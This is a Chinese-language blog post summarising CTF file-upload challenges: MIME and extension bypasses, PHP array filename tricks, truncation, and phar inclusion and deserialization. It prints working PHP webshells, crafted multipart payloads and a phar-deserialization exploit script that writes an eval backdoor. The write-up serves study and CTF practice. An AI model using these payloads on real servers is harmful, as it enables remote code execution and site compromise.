对文件上传的一些思考和总结

阅读量    76819 | 评论 12   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

最近在 ctf 比赛中考察到了很多关于文件上传的知识点,然而文件上传这块知识掌握的不是很好。所以这里总结一下近期 ctf 比赛中遇到的文件上传题目的知识考点和常见思路,并且给出相应的例题。

简单的总结一下常见的思路,再根据自己的经验简单列出近些比赛中的一些上传题的套路。

 

文件上传的本质

文件上传还是归根结底是客户端的 POST 请求,消息主体就是一些上传信息。前端上传页面需要指定 enctype 为 multipart/form-data 或者 Multipart/form-data 才能正常上传文件。

<form action='' enctype='multipart/form-data' method='POST'>
<input type='file' name='file'>
</form>

multipart 格式的数据会将一个表单拆分为多个部分(part),每个部分对应一个输入域。在一般的表单输入域中,
它所对应的部分中会放置文本型数据,但是如果上传文件的话,它所对应的部分可以是二进制,下面展现了 multipart 的请求体:

filename 字段是必要的,指定了上传时的那个文件的文件名。其他的可有可无

Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name="text"

title

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name="file"; filename="chrome.png"

Content-Type: image/png

PNG ... content of chrome.png ...

------WebKitFormBoundaryrGKCBY7qhFd3TrwA--

这里在每个字段之间使用 ———WebKitFormBoundaryxxx 隔开,boundary是一个字符串,用来切分数据。

这里就和 post 请求一样,可以自己增加参数,就形如下面这样,将参数名放到 name 里,参数值放到下面:

------WebKitFormBoundary1PkqXeou9aUAIMHr
Content-Disposition: form-data; name="filename"

1.php

那么这里就增加了一个参数 filename = ‘1.php’

 

基本上传思路的回顾

在渗透测试或者 ctf 过程中,遇到文件上传常见的思路无非是尝试绕过一些限制直接上传 shell (脚本文件),最基本的绕过方法有以下几种:

前端绕过

这里很基础了,直接绕过前端的 js 判断就行了。

这里举个例子,某某门户系统:

在后台页面定制处,可以插入背景图片,如果直接插入 shell 就会提示不允许上传。那么这里可以先上传一个 gif 文件,抓包,改后缀名再发包就可以绕过。

这只是最简单的前端验证绕过,当然这里还可以在 f12 里直接去掉前端 js 验证。

MIME

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型。

即在传输过程中标记文件类型的一种方法,也就是 HTTP 文件请求头中的 Content-Type 。

简单的上传情况一般是单独验证这个字段值或者有时配合文件后缀名进行验证的。

这里再举一个 SUCTF 招新赛的一个例子。题目只有一个上传页面,解决这种题目最简单粗暴的方法就是直接将 Content-Type 和后缀名进行组合来爆破。

选择两个变量,选择 Cluster bomb 模式,跑一下就出结果了

  • 这题的 “<?php ?>” 被过滤了,可以使用下面的 payload 进行简单的绕过
<script language="php">
@system($_GET['c']);
</script>

大写 Multipart

即将请求头中的 Content-Type 的 multipart/form-data 第一个字符 m 改成 M,即 Multipart/form-data(不影响传输)

这里的例子是 bugku 的”求getshell”,同样只有一个上传界面:

burp 抓包,使用上面爆破的方法无效,最后发现是将 multipart 改成 Multipart…这样就成功绕过了

其实这题有点脑洞了。。不过没关系,这里的重点不是这个。

 

后缀名构造

构造数组绕过

最近碰到的两道题,一道是网鼎杯第二场的 wafUpload,一道是上海网安赛的 web3。这两道考点都很类似。但是还是有一些小的差异,我们一道一道来看。

先看一下 wafUpload 这道题:

<?php
#$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
$sandbox = '';

#@mkdir($sandbox);
#@chdir($sandbox);

if (!empty($_FILES['file'])) {
    #mime check
    if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
        die('This type is not allowed!');
    }else{
        echo "pass 1n";
    }

    #check filename
    $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    $ext = end($file);
    if (!in_array($ext, ['jpg', 'png', 'gif'])) {
        die('This file is not allowed!');
    }else{
        echo "pass 2n";
    }

    $filename = reset($file) . '.' . $file[count($file) - 1];
    if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
        echo 'Success!';
        echo 'filepath:' . $sandbox . '/' . $filename;
    } else {
        echo 'Failed!';
    }
}
show_source(__file__);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Upload Your Shell</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="text" name="filename"><br>
    <input type="file" name="file" id="file" />
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

审计源码可以知道,代码中用 end 函数取到上传文件的后缀并判断,用 reset 函数返回的值作为文件名

根据题目,需要绕过两层判断。

1.第一层,直接抓包修改 MIME 为 image/png 就行了。

2.第二层,构造 filename 字段为数组

仔细看 html 代码中提供了一个 filename 字段,在下面这句代码的判断中,会先查看是否有直接 post 提交的 filename 字段,如果有的话就使用这个字段的值(这个就有点类似提示的作用)

$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];

在本地复现一下,抓包之后看看:

抓包重放之后,如果这里 filename 字段我们填上 shell.php ,根据上面的那句代码的判断

$file = 'shell.php'

如果没有在 filename 字段中填入 shell.php 的话,那么

$file = '1.php'

若直接是这样的话,在下面的几句判断中就无法通过

if (!in_array($ext, ['jpg', 'png', 'gif']))

所以这里想要绕过他的判断直接上传 php 文件的话,只能构造 filename 为数组,通过 end 函数的缺陷来绕过下面的的条件判断。

那么这个 end 函数的缺陷在哪呢?

看下面的这个例子:

<?php

$arr = array();

$arr[0] = 'first';
$arr[1] = 'second';
$arr[2] = 'third';

var_dump($arr);

echo "the result of reset: ".reset($arr)."n";

echo "the result of end: ".end($arr);
?>

其实 end 函数原本的作用就是返回数组的最后一个元素,在上面看的是正常的。但是如果我们这里把对数组赋值的顺序换一下(先给 arr[2] 赋值),可以看到结果就变了。

小总结

总结一下就是 end 函数取到的是给数组的最后一次赋值的那个值,继续尝试会发现 reset 函数也是一样,第一个给数组赋值的值就是 reset 函数返回的值

  • 例如先给 $arr[2] 赋值,那么 reset 函数返回的就是 $arr[2] 的值

所以这里我们就可以构造 payload 了。

这里的 end 函数取到了第二个给数组赋值的值,也就是 filename[0] ,reset 函数的值为 filename[1]。这边构造

filename[1] = php
filename[0] = png

在后面拼接 $filename 时候,再一次拼接到后缀名,即

$filename = reset($file) . '.' . $file[count($file) - 1];

这里的

$file[count($file) - 1]

一定是取到 filename[1],所以上面给 filename[1] 赋值为 php 的意义就在这里。

最后拼接出了 php.php,就达到了上传 shell 的目的。

上海网安赛 web3

后缀名构造绕过判断

题目就是一个简单的上传逻辑。

<?php
    error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    //$dir=md5("icq");
    //$sandbox = '/sandbox/' . $dir;
    //@mkdir($sandbox);
    //@chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        var_dump($ext);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        var_dump($filename);
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }
?>

<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file" />
    <input type="submit" name="submit" value="Submit" />
</form>

可以看到前半段的代码和前面一道是很相似的,都用了 end 函数来处理文件的后缀名。但是这里没有进行图片后缀的判断,而是进行下面的判断:

if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }

而根据 $filename 的来源

$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
$ext = end($filename);

我们也可以类似的构造 $_POST[‘file’] ,也就是自己插入一个字段 file :

------WebKitFormBoundarywrXtm4qsIjhjlklR
Content-Disposition: form-data; name="file[2]"

2.php
------WebKitFormBoundarywrXtm4qsIjhjlklR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-php

GIF89a<?=eval($_POST['1']);

若我们只传入一个 file[2] = ‘2.php’, 即 $filename[2] = ‘2.php’, 那么 $ext = ‘2.php’, $filename[count($filename) – 1] = $filename[0]

因为我们只构造 filename[2],所以 $filename[0] 为空,两者不相等所以就绕过了上面后缀名的判断。

题目后面的代码逻辑是将前面的文件上传到服务器上,之后再用 post 方法接受一个参数作为文件,之后再包含这个文件。

看到上传文后再 unlink,第一时间想到的肯定是条件竞争的方法。但是对于这道题目,还有很多种方法。

1./. 符号绕过

2.目录穿越(把文件上传到想上传的地方,然后再包含相应的文件即可)

3.php7文件包含漏洞,PHP7中如果include(‘php://filter/string.strip_tags/resource=/etc/passwd’),就会引起PHP程序直接崩溃,因而就不会进行到下面的unlink。然后就可以对上传的文件进行爆破。

还有一种比较巧妙的是 post 的的 hehe 值为 vps 上的一个 php 脚本,这个脚本只需要 sleep 就行了。

$_ = http://xx.xx.xx.xx/sleep.php

这样就在 unlink 之前预留下了给我们爆破出原来上传的文件的时间

 

截断绕过

00 截断

最常见的截断绕或要数 00 截断了,但是这种情况有很大的局限性,只有在 PHP 版本小于5.3.4 且 magic_quotes_gpc=Off时,否则 %00 这种空字符会被转义为

  • 不过在有的 ctf 题目中也经常会用到 00 截断这种技巧:
    如 SUCTF 招新赛中的 Php is No.1,使用 %00 进行截断的话,就很容易跳过三个判断

同样这个比赛中的一道注入题 ClassicSqli,也用到 00 截断来达到注释语句的作用。

关于截断的一些小总结,可以看笔者的笔记

ascii 特殊字符包含

这里的例子是上海网安赛的 web4 ,参考了 sn00py 师傅的 wp

这道题先是前台 sql 注入拿到 admin 的密码之后,登录后台会发现有上传点

这里的上传有两个重要的参数,一个是文件目录(uploaddir),一个是文件名(filename)

上传之后会对 uploaddir 和 filename 直接进行拼接,然后直接加上 .txt 后缀。没办法从正面直接绕过,00 截断也是无效的,这里就尝试用 0x00~0xff 之内的 ascii 字符来截断。

burp 中发送数据包到 intruder 模块,将范围控制在 0~255 之间

用 intuder 模块的 payload 进行处理,先加上 % ,再进行 urldecode

在 0x02 时可以截断成功

 

文件包含和文件上传的配合的情况

一般这类题目有共同的利用条件:

利用条件:无法直接上传 shell,只能上传图片,存在文件包含

phar 两种用法

phar 是 php 中的一种归档压缩文件,类似 zip 。可以使用 phar:// 协议来访问压缩后的文件

PHP5.3之后支持了类似Java的jar包,名为phar。用来将多个PHP文件打包为一个文件。

后面的两种用法都用一个 SUCTF 招新赛的例子来说明:

点开题目发现只有一个上传点,且只能上传 png、jpg、gif 文件,无法绕过后缀上传 shell

正常用法

第一种方法就是他的常规用法了,将 php 文件压缩成 zip 文件,zip 文件改后缀为 png 之后

例如将下面的代码放在 1.php 中,压缩成 1.zip 并改名 1.png后上传

<?=eval($_POST['1']);?>

<?php eval($_POST['1']);?>

<script language='php'>
    eval($_POST['1']);
</script>

上传文件之后在右键 -> 源代码中可以看到上传的地址,复制出来并用 phar:// 协议进行访问

http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/5eac5f7bd6358e10ff53dec9f3bb8690/4a47a0db6e60853dedfcfdf08a5ca249.png/1.php

在 f12 中可以看到很多符号都被过滤了,这里尝试了也没法直接绕过

后来发现 set-cookie 中给了提示:

Set-Cookie: hint=cGxlYXNlIHJlYWQgcmVjZW50IHBhcGVycyBhYm91dCBwaGFy

--> please read recent papers about phar

于是这里想到了phar 的反序列化漏洞,貌似这个操作在 hitcon2017 的 Baby^H-master-php-2017 中就出现了,但是那个实在太难了…

phar 反序列化漏洞

具体的原理这里也不说了,大概的用法可以看下面的这两篇文章:

https://blog.csdn.net/xiaorouji/article/details/83118619

https://cloud.tencent.com/developer/article/1350367

直接放官方的 exp 吧:

<?php

 class PicManager{
     private $current_dir;
     private $whitelist=['jpg','png','gif'];
     private $logfile='request.log';
     private $actions=[];

     public function __construct($dir){
         $this->current_dir=$dir;
         if(!is_dir($dir))@mkdir($dir);
     }

     private function _log($message){
         array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message);
     }

     public function pics(){
         log('list pics');
         $pics=[];
         foreach(scandir($dir) as $item){
             if(in_array(substr($item,-4),$whitelist))
                 array_push($pics,$current_dir."/".$item);
         }
         return $pics;
     }
     public function upload_pic(){
         _log('upload pic');
         $file=$_FILES['file']['name'];
         if(!in_array(substr($file,-4),$this->whitelist)){
             _log('unsafe deal:upload filename '.$file);
             return;
         }
         $newname=md5($file).substr($file,-4);
         move_uploaded_file($_FILES['file']['tmp_name'],$current_dir.'/'.$newname);
     }
     public function get_pic($picname){
         _log('get pic'.$picname);
         if(!file_exists($picname))
             return '';
         else return file_get_contents($picname);
     }
     public function __destruct(){
         $fp=fopen($this->current_dir.'/'.$this->logfile,"a+");
         foreach($this->actions as $act){
             fwrite($fp,$act."n");
         }
         fclose($fp);
     }

     public function gen(){
         @rmdir($this->current_dir);
         $this->current_dir="/var/www/html/sandbox/a6bfb20ba19df73fcceb438f5f75948f/"; //md5($_SERVER['REMOTE_ADDR'])
         $this->logfile='H4lo.php';
         $this->actions=['<?php eval($_REQUEST[p]);'];
         @unlink('phar.phar');


         $phar = new Phar("phar.phar");
         $phar->startBuffering();
         $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
         $phar->setMetadata($this); //将自定义meta-data存入manifest
         $phar->addFromString("test.txt", "test"); //添加要压缩的文件
                 //签名自动计算
         $phar->stopBuffering();

     }
 }

$pic=new PicManager('/var/www/html/sandbox');
$pic->gen();

运行 php 脚本会在当前目录下生成 phar.phar 文件(需要在 php.ini 中将 phar.readonly 设置为 Off)

接着将 phar.phar 重命名为 phar.gif ,上传之后同样复制出地址,利用 phar 协议包含文件以后,就会触发反序列化漏洞,将我们前面 exp 中的代码执行(生成 H4lo.php)。

http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/a6bfb20ba19df73fcceb438f5f75948f/1b33718042e7dfe8fac079be96ebc4d9.gif
  • 这里只需要 phar://xxx.gif 的形式就好了,因为这是一个 phar 对象文件,不是一个压缩包

访问一下,这样就得到 flag 了:

PHP 自包含特性

这个技巧可以看我之前的写过的一篇文章,也是来源于一道 ctf (百度杯 nlog 进阶版)

这个自包含和下面的反序列化上传的姿势,都是需要自己构造文件上传页面,感觉脑洞还是挺大了,稍微了解一下就好了

反序列化上传

这个也是来源于一道 ctf(jarvisoj phpinfo),题目地址

http://web.jarvisoj.com:32784/

附上详细的解答:

https://blog.csdn.net/wy_97/article/details/78430690

简而言之,就是自己构造一个上传界面,将 file 字段的 filename 定义为反序列化的字符串,服务器处理的时候就会触发这个漏洞。

<!DOCTYPE html>
<html>
<head>
    <title>test XXE</title>
    <meta charset="utf-8">
</head>
<body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!--     
不对字符编码-->
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
        <input type="file" name="file" />
        <input type="submit" value="go" />
    </form>
</body>
</html>

 

总结

在近些比赛中将文件上传和文件包含结合起来,作为考点进行考察的题目还是蛮多的。在比赛中多总结一下姿势还是挺有帮助的,无论是在今后的 ctf 比赛中还是实战的漏洞挖掘。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多